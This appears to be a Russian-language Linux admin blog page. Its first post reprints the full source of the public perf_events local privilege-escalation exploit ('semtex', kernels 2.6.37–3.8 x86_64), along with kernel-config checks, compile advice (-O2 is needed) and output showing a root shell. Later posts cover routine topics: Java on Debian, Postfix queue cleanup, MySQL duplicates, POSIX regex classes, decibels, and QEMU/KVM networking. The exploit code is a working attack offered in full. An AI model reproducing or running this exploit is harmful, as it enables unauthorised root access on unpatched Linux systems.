Гершафтен, сегодня печальная новость. В "этих ваших Интернетах" была опубликован эксплоит который позволяет получить root-доступ из под произвольного пользователя. Проблема присутствует в коде PERF_EVENTS, которая должна быть активирована для успешной эксплуатации уязвимости. Проверяем:
$ cat /boot/config-$( uname -r ) | grep -i PERF_EVENTS
CONFIG_HAVE_PERF_EVENTS=y
CONFIG_PERF_EVENTS=y
CONFIG_HAVE_PERF_EVENTS_NMI=y
либо:
$ zcat /proc/config.gz  | grep -i PERF_EVENTS
CONFIG_HAVE_PERF_EVENTS=y
CONFIG_PERF_EVENTS=y
CONFIG_HAVE_PERF_EVENTS_NMI=y
Так как исходный код и без того доступен сообществу то рискну его опубликовать и у себя в блоге:
/*
 * linux 2.6.37-3.x.x x86_64, ~100 LOC
 * gcc-4.6 -O2 semtex.c && ./a.out
 * 2010 sd@fucksheep.org, salut!
 *
 * update may 2013:
 * seems like centos 2.6.32 backported the perf bug, lol.
 * jewgold to 115T6jzGrVMgQ2Nt1Wnua7Ch1EuL9WXT2g if you insist.
 */

#define _GNU_SOURCE 1
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <syscall.h>
#include <stdint.h>
#include <assert.h>

#define BASE  0x380000000
#define SIZE  0x010000000
#define KSIZE  0x2000000
#define AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337))))

void fuck() {
  int i,j,k;
  uint64_t uids[4] = { AB(2), AB(3), AB(4), AB(5) };
  uint8_t *current = *(uint8_t **)(((uint64_t)uids) & (-8192));
  uint64_t kbase = ((uint64_t)current)>>36;
  uint32_t *fixptr = (void*) AB(1);
  *fixptr = -1;

  for (i=0; i<4000; i+=4) {
    uint64_t *p = (void *)&current[i];
    uint32_t *t = (void*) p[0];
    if ((p[0] != p[1]) || ((p[0]>>36) != kbase)) continue;
    for (j=0; j<20; j++) { for (k = 0; k < 8; k++)
      if (((uint32_t*)uids)[k] != t[j+k]) goto next;
      for (i = 0; i < 8; i++) t[j+i] = 0;
      for (i = 0; i < 10; i++) t[j+9+i] = -1;
      return;
next:;    }
  }
}

void sheep(uint32_t off) {
  uint64_t buf[10] = { 0x4800000001,off,0,0,0,0x300 };
  int fd = syscall(298, buf, 0, -1, -1, 0);
  assert(!close(fd));
}


int  main() {
  uint64_t  u,g,needle, kbase, *p; uint8_t *code;
  uint32_t *map, j = 5;
  int i;
  struct {
    uint16_t limit;
    uint64_t addr;
  } __attribute__((packed)) idt;
  assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) == (void*)BASE);
  memset(map, 0, SIZE);
  sheep(-1); sheep(-2);
  for (i = 0; i < SIZE/4; i++) if (map[i]) {
    assert(map[i+1]);
    break;
  }
  assert(i<SIZE/4);
  asm ("sidt %0" : "=m" (idt));
  kbase = idt.addr & 0xff000000;
  u = getuid(); g = getgid();
  assert((code = (void*)mmap((void*)kbase, KSIZE, 7, 0x32, 0, 0)) == (void*)kbase);
  memset(code, 0x90, KSIZE); code += KSIZE-1024; memcpy(code, &fuck, 1024);
  memcpy(code-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf",
    printf("2.6.37-3.x x86_64\nsd@fucksheep.org 2010\n") % 27);
  setresuid(u,u,u); setresgid(g,g,g);
  while (j--) {
    needle = AB(j+1);
    assert(p = memmem(code, 1024, &needle, 8));
    if (!p) continue;
    *p = j?((g<<32)|u):(idt.addr + 0x48);
  }
  sheep(-i + (((idt.addr&0xffffffff)-0x80000000)/4) + 16);
  asm("int $0x4");  assert(!setuid(0));
  return execl("/bin/bash", "-sh", NULL);
}
Однако, если компилировать просто как:
$ gcc root-exploit.2.6.37~3.8.10.c -o root-exploit.2.6.37~3.8.10
то неприятности Вас поджидать не будут, так как всё закончится банальной аварийной остановкой программы:
$ ./root-exploit.2.6.37~3.8.10 
2.6.37-3.x x86_64
sd@fucksheep.org 2010
root-exploit.2.6.37~3.8.10: root-exploit.c:81: main: Assertion `p = memmem(code, 1024, &needle, 8)' failed.
Аварийный останов
Во всяком случае вышесказанное справедливо для ядра 3.2.0-4-amd64, платформы x86_64 Debian GNU/Linux Wheezy.
Для получения ожидаемого (root-доступ) результата следует gcc скормить опцию O2. Тогда результат выполнения будет более "трагичным":
$ ./root-exploit.2.6.37~3.8.10.O2 
2.6.37-3.x x86_64
sd@fucksheep.org 2010
# logout
$
Мораль сей басни такова: ждём выхода обновлений для ядра и не даём кому-попало shell-доступ.

вторник, 7 мая 2013 г.

Установка Java7 в Debian Wheezy и подключение плагина к Google Chrome

Для начала установим пакет java-package, который предоставит нам утилиту make-jpkg:
aptitude install java-package
Затем скачаем JDK с ресурса Oracle http://www.oracle.com/technetwork/java/javase/downloads/index.html, пусть в нашем случае это будет архив jdk-7u21-linux-x64.tar.gz.
Затем создадим из этого архива deb-пакет:
make-jpkg jdk-7u21-linux-x64.tar.gz
в итоге у нас будут собран файл oracle-j2sdk1.7_1.7.0+update21_amd64.deb. Устанавливаем его:
sudo dpkg -i oracle-j2sdk1.7_1.7.0+update21_amd64.deb
При желании можно так-же обновить алтернативы для версии Java которая будет использоваться по-умолчанию:
for P in $( ls -l /etc/alternatives | grep java | awk '{ print $9 }' ); do update-alternatives --config $P; done
Ну и теперь дело осталось за малым, подключим Java-плагин к Google Chrome:
mkdir /opt/google/chrome/cron
chmod 755 /opt/google/chrome/cron
ln -s /usr/lib/jvm/j2sdk1.7-oracle/jre/lib/amd64/libnpjp2.so /opt/google/chrome/plugins/libjavaplugin.so
И не забываем перезапустить Google Chrome. После перезапуска проверить наличие модуля можно перейдя по ссылке chrome://plugins/, смотрим раздел Java(TM). Проверить правильность установки, а заодно и версию Java, можно перейдя по ссылке Verify Java Version.
Если после проверки всё отобразилось нормально - поздравляю, всё сделано правильно!

вторник, 30 апреля 2013 г.

Очистка почтовой очереди (Postfix)

Посмотреть текущее состояние очереди можно так:
postqueue -p
sendmail -bp
mailq
Очистить всю очередь можно, например, так:
postsuper -d ALL
А вот как можно почистить очередь от конкретного отправителя:
postqueue -p | tail +2 | awk 'BEGIN { RS = "" } $7~/^MAILER-DAEMON$/ { print $1 }' | tr -d '*!' | postsuper -d -
в данном случае мы убрали из очереди все сообщения от MAILER-DAEMON. Если, к примеру, есть желание удалить все сообщения из очереди от чудных отправителей доменов @church.com и @88db.co.id (ага, поймал недавно доверенный клиент вирус) то сделать это можно просто соответствующим образом поменяв регулярное выражение:
postqueue -p | tail +2 | awk 'BEGIN { RS = "" } $7~/\@(church\.com|88db\.co\.id)$/ { print $1 }' | tr -d '*!' | postsuper -d -
Кстати можно использовать вызов и через xargs:
postqueue -p | tail +2 | awk 'BEGIN { RS = "" } $7~/^MAILER-DAEMON$/ { print $1 }' | tr -d '*!' | xargs postsuper -d
но на мой взгляд вариант с "| postsuper -d -" более наглядный, да и в случае с очень-очень большим размером очереди за ним не так скучно наблюдать ;) А вот какой из вариантов работает быстрее - не скажу, не проверял.

среда, 17 апреля 2013 г.

Удаление дубликатов в MySQL

Для удаления дубликатов в таблице MySQL существует довольно оригинальное решение:
ALTER IGNORE TABLE tablename ADD UNIQUE INDEX(field0, field1, field2);
Суть, надеюсь, ясна ;)

пятница, 8 февраля 2013 г.

RegExp - POSIX-классы символов

Не следует путать термин POSIX "класс символов" с тем, что обычно называется "класс символов регулярного выражения". [X-z0-9] пример того, что мы называем "класс символов" а POSIX называет "выражение в квадратных скобках". [:digit:] это класс POSIX символов, он может использоваться внутри выражений в квадратных скобках, например так [xz[:digit:]] . Эти два регулярных выражения эквивалентны: один символ из X , Y , Z, x, y, z или цифры. Имена классов должны быть написаны в нижнем регистре...

Более детально можно почитать тут http://www.regular-expressions.info/posixbrackets.html

POSIXОписаниеASCIIUnicodeСокрещение
(например в Perl и т.п.)
Java
[:alnum:]Алфавитно-цифровые символы[a-zA-Z0-9][\p{L&}\p{Nd}]\p{Alnum}
[:alpha:]Буквы[a-zA-Z]\p{L&}\p{Alpha}
[:ascii:]ASCII символы[\x00-\x7F]\p{InBasicLatin}\p{ASCII}
[:blank:]Пробелы и табуляции[ \t][\p{Zs}\t]\p{Blank}
[:cntrl:]Управляющие символы[\x00-\x1F\x7F]\p{Cc}\p{Cntrl}
[:digit:]DigitsЦифры[0-9]\p{Nd}\d\p{Digit}
[:graph:]Видимые символы (т.е. всё исключая пробелы, управляющие символы и т.д.)[\x21-\x7E][^\p{Z}\p{C}]\p{Graph}
[:lower:]Строчные буквы[a-z]\p{Ll}\p{Lower}
[:print:]Видимые символы и пробелы (т.е. всё исключая управляющие символы и т.д.)[\x20-\x7E]\P{C}\p{Print}
[:punct:]Знаки пунктуации и символы[!"#$%&'()*+,\-./:;<=>?@[\\\]^_`{|}~][\p{P}\p{S}]\p{Punct}
[:space:]Все пробельные символы, включая "конец строки"[ \t\r\n\v\f][\p{Z}\t\r\n\v\f]\s\p{Space}
[:upper:]Заглавные буквы[A-Z]\p{Lu}\p{Upper}
[:word:]Символы слова (буквы, цифры и подчёркивание)[A-Za-z0-9_][\p{L}\p{N}\p{Pc}]\w
[:xdigit:]Шестнадцатеричные цифры[A-Fa-f0-9][A-Fa-f0-9]\p{XDigit}

понедельник, 4 февраля 2013 г.

Опус про Децибелы

(автор Игорь Никишин инженер копании IC-Line)

«Что такое децибел (dB), с чем его едят, чем он отличается от dBm и зачем вообще все это нужно?», -такие вопросы задают очень часто, и, чтобы не начинать каждый раз сначала, напишем эту краткую памятку.
Итак, есть сигнал. Он существует, его детектируют. Для численного понятия сигнала (ну, описать-то его как-то надо) ввели понятие мощности сигнала. Мощность измеряется в ваттах (Вт). И все бы было хорошо, да вот только неудобно! Неудобно почему? Потому, что непонятно, хороша ли мощность, или, может, она мала и все плохо? Поэтому умные люди уже достаточно долгое время оперируют понятием «Децибел».
Что есть децибел? Децибел – это отношение. Отношение чего к чему? Отношение мощности измеренного сигнала к базовой мощности. Для удобства пользования в формуле, которая будет представлена чуть ниже, существуют еще некие множители (10) и логарифм (обычный десятичный логарифм, он же логарифм по основанию 10). Зачем так усложнять? А для того, чтобы в результате несложных вычислений стало понятно, ниже или выше (или, может быть, равен) полученный (и измеренный) сигнал, чем сигнал базовый.
, где А – сигнал измеренный, А0 – сигнал базовый. 
В современных сетевых технологиях (надеюсь, не секрет ни для кого) используются лазеры и светодиоды. Они светят (светом!) в волокно, на противоположной стороне этот свет принимается. Свет можно измерить. Измеряют свет всякими хитрыми приборами, которые выдают значения в некоторых единицах.  Вот на столе у автора лежит прибор MT1113C, который умеет измерять в Ваттах (ВТ), Децибелах (dB) и непонятных (пока еще) dBm’ах. С Ваттами мы разобрались – непонятно, много или мало величина, например, 0.05 Вт. С децибелами тоже сложновато – необходимо знать точные значения светового сигнала «до» и «после» прохождения волокна, что не всегда бывает удобно (надеюсь, понятно, что съездить за 80 км и померять там, чтобы потом вернуться и померять тут – как минимум накладно). Вот и ввели те же (а может, и другие) умные люди этот самый dBm.
dBm – это тот же Децибел, только в качестве базового сигнала берется сигнал мощностью 1 (один!) милливатт (мВт). Теперь все стало понятно! И считать удобнее (взял логарифм от мощности сигнала, умножил на 10 – вуаля!), и опорный уровень, относительно которого все измеряется, ВСЕГДА один и тот же – 1мВт.
,где А – измеренная мощность сигнала в МИЛЛИВАТТАХ.
Идем дальше. Есть модуль SFP WDM 1550/1310 20km. Ну есть он и хорошо. Измерим его. А прибор показывает -6dbm. «Ого! Да это же МИНУС! Плохо-плохо!», - скажут неподготовленные люди. И скажут неправильно. Почему? Да потому, что -6dBm – это примерно 0,25Вт.
Расчет такой - берем формулу выше,  двигаемся по ней в обратном направлении:
  • 10lg X == -6;
  • lg X == -6/10;
  • lg X == -0.6;
  • X == 10^-0.6;
  • X == 0.25.
Ну вот, не так уж все и плохо! И «минусы» куда-то исчезли.
Для того, чтобы не заморачивать себе голову, приняли (в очередной раз!) умные люди решение сделать небольшую табличку. И пусть она не такая точная, как формула, но помогает быстро разобраться, откуда ноги растут:
Таблица перехода от децибелов к разам
dB
40dB
20dB
10dB
6dB
3dB
1dB
0dB
-1dB
-3dB
-6dB
-10dB
20dB
-40dB
разы
10000
100раз
10раз
4раза
2раза
1,26
1
0,79
0,5
0,25
0,1раз
0,01
0,0001


Последний штрих: почему такая низкая мощность? А потому, что свет, на самом деле, штука опасная, и лазером в 500мВт можно сбивать самолеты (и это правда, во многих странах такие «игрушки» запрещены к свободному использованию законодательно). А волокно – оно же тонкое, и греется. И может ведь обжечь кого, или расплавить свою и без того тонкую броню.
И всё же, как быть? А быть нужно настойчивее, и узнавать не только про мощность лазерного/светодиодного передатчика, но и про чувствительность приемника, оптический бюджет и затухания в различных типах волокна на разных длинах волн. Но об этом в других сериях.    
Это вопрос часто приходится объяснять при расчете ПОН.
Если есть делитель 1х2, то есть световой поток делится на 2 равных луча, уменьшается в 2 раза,
то затухание при этом получается 3dB. Далее получается.

Делитель 1х2 - 3dB
Делитель 1х4 - 6dB
Делитель 1х8 - 9dB
Делитель 1х16 - 12dB
Делитель 1х32 - 15dB
Делитель 1х64 - 18dB
Делитель 1х128 - 21dB
Делитель 1х256 - 24dB

четверг, 31 января 2013 г.

Заметки: QEMU, KVM

Для удобства управления виртуальными машинами можно поставить пакет aqemu. Но если это лениво или по каким-либо причинам недопустимо то следующие заметки, так сказать, "на память".

Создаём диск:
qemu-img create -f raw Knoppix_HDA.img 4G

Запускаем загрузку с LifeCD:
kvm -no-acpi -m 384 -cdrom KNOPPIX_V7.0.3CD-2012-06-25-EN.iso -hda Knoppix_HDA.img -boot d
или так:
kvm -monitor stdio -enable-kvm -m 1024 -localtime -cdrom KNOPPIX_V7.0.3CD-2012-06-25-EN.iso -hda Knoppix_HDA.img -boot order=dc,menu=on -net nic,vlan=0 -net user,vlan=0 -name "Knoppix" -vnc :10

Можно сконвертировать образ, если необходимо:
qemu-img convert -f raw Knoppix_HDA.img -O qcow2 Knoppix_QCOW2.img

Приоритет загрузки CD-ROM, затем HDD:
kvm -monitor stdio -enable-kvm -m 512 -localtime -hda Knoppix_HDA.img -boot order=dc,menu=on -net nic,vlan=0 -net user,vlan=0 -name "Knoppix" -vnc :10

Приоритет загрузки HDD, затем CD-ROM:
kvm -monitor stdio -enable-kvm -m 512 -localtime -hda Knoppix_HDA.img -boot order=cd,menu=on -net nic,vlan=0 -net user,vlan=0 -name "Knoppix" -vnc :10

Настройка сети.
Часто-густо описывается настройка сети где какой-нибудь внешний интерфейс бриджуется и уже на полученный бридж-интерфейс подвязываются виртуалки. Не спорю, что это простой, удобный и правильный путь, но путь настоящего джедая не всегда прост, а зачастую очень даже тернист. Поэтому чуть ниже рассказывается о том как со своей виртуалкой получить полноценную маршрутизируемую сеть.

Для начала, как и в статье про сеть в VirtualBox, установим все необходимые для этого пакеты:
sudo aptitude install uml-utilities
не забываем добавить нашего пользователя, для которого будет разрешено использовать сеть в виртуальной машине, в группу uml-net:
sudo adduser olden uml-net

Далее в /etc/network/interfaces пропишем настройки для нашего tap-интерфейса, который будет подвязан к виртуальной машине:
auto tap2
iface tap2 inet static
        address 172.16.24.5
        network 172.16.24.4
        netmask 255.255.255.252
        broadcast 172.16.24.7
        tunctl_user username

Собственно после этого можно запустить виртуальную машину и указать ей использовать только что построенный интерфейс:
kvm -monitor stdio -enable-kvm -m 512 -localtime -hda Knoppix_HDA.img -boot order=cd,menu=on -net nic,vlan=0 -net tap,vlan=0,ifname=tap2 -name "Knoppix" -vnc :10
Безусловно, что настроить сетевые настройки на интерфейсе гостевой системы придётся вручную.